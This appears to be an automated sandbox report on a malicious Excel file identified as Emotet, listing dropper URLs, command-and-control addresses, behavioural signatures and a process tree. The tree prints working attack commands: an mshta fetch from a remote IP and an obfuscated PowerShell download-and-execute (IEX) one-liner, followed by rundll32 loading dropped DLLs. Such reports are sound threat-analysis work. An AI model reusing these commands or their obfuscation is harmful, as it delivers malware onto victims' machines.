Overview

overview

10

Static

static

8

tmp77xe_shb.xls

windows7_x64

10

tmp77xe_shb.xls

windows10_x64

10

Analysis

  • max time kernel
    136s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28/01/2022, 20:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    tmp77xe_shb.xls
  • Size 47KB
  • Sample220128-yr7twaccdk
  • SHA256 f085ccac2550f9dbcd5ab7863d82b4520d97efe9233fcea4742214e80a5e2538
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch5bankersuricatatrojan

Malware Config

Extracted

Language

  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/mm/nn/se.html

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/mm/nn/se.png

Extracted

Family

  • emotet

Botnet

  • Epoch5

C2

  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata
  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmp77xe_shb.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1036
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
        3⤵
          PID:1976
        • C:\Windows\SysWOW64\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1744
          • C:\Windows\SysWOW64\mshta.exe
            mshta http://91.240.118.172/mm/nn/se.html
            4⤵
            • Blocklisted process makes network request
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:836
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1940
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1160
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1588
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
                    8⤵
                    • Loads dropped DLL
                    • Drops file in System32 directory
                    • Suspicious use of WriteProcessMemory
                    PID:612
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pdsxo\lpaonoejy.pkh",YCUJjBuNgUVCMCs
                      9⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1020
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pdsxo\lpaonoejy.pkh",DllRegisterServer
                        10⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1928

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/612-78-0x0000000000290000-0x00000000002B7000-memory.dmp
          Download

          memory/612-84-0x0000000002120000-0x0000000002147000-memory.dmp
          Download

          memory/612-93-0x0000000002850000-0x0000000002877000-memory.dmp
          Download

          memory/612-90-0x00000000027F0000-0x0000000002817000-memory.dmp
          Download

          memory/612-89-0x0000000002690000-0x00000000026B7000-memory.dmp
          Download

          memory/612-86-0x00000000022D0000-0x00000000022F7000-memory.dmp
          Download

          memory/612-80-0x00000000005C0000-0x00000000005E7000-memory.dmp
          Download

          memory/1020-95-0x0000000000130000-0x0000000000157000-memory.dmp
          Download

          memory/1588-71-0x00000000001C0000-0x00000000001E7000-memory.dmp
          Download

          memory/1612-55-0x000000002F091000-0x000000002F094000-memory.dmp
          Download

          memory/1612-70-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1612-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1612-58-0x00000000763F1000-0x00000000763F3000-memory.dmp
          Download

          memory/1612-56-0x0000000071891000-0x0000000071893000-memory.dmp
          Download

          memory/1928-108-0x0000000002560000-0x0000000002587000-memory.dmp
          Download

          memory/1928-98-0x00000000001E0000-0x0000000000207000-memory.dmp
          Download

          memory/1928-100-0x0000000000860000-0x0000000000887000-memory.dmp
          Download

          memory/1928-104-0x00000000022A0000-0x00000000022C7000-memory.dmp
          Download

          memory/1928-106-0x0000000002430000-0x0000000002457000-memory.dmp
          Download

          memory/1928-110-0x0000000002730000-0x0000000002757000-memory.dmp
          Download

          memory/1928-112-0x00000000029D0000-0x00000000029F7000-memory.dmp
          Download

          memory/1928-114-0x0000000002BD0000-0x0000000002BF7000-memory.dmp
          Download

          memory/1928-116-0x0000000002CE0000-0x0000000002D07000-memory.dmp
          Download

          memory/1928-118-0x0000000003210000-0x0000000003237000-memory.dmp
          Download

          memory/1940-63-0x0000000002510000-0x000000000315A000-memory.dmp
          Download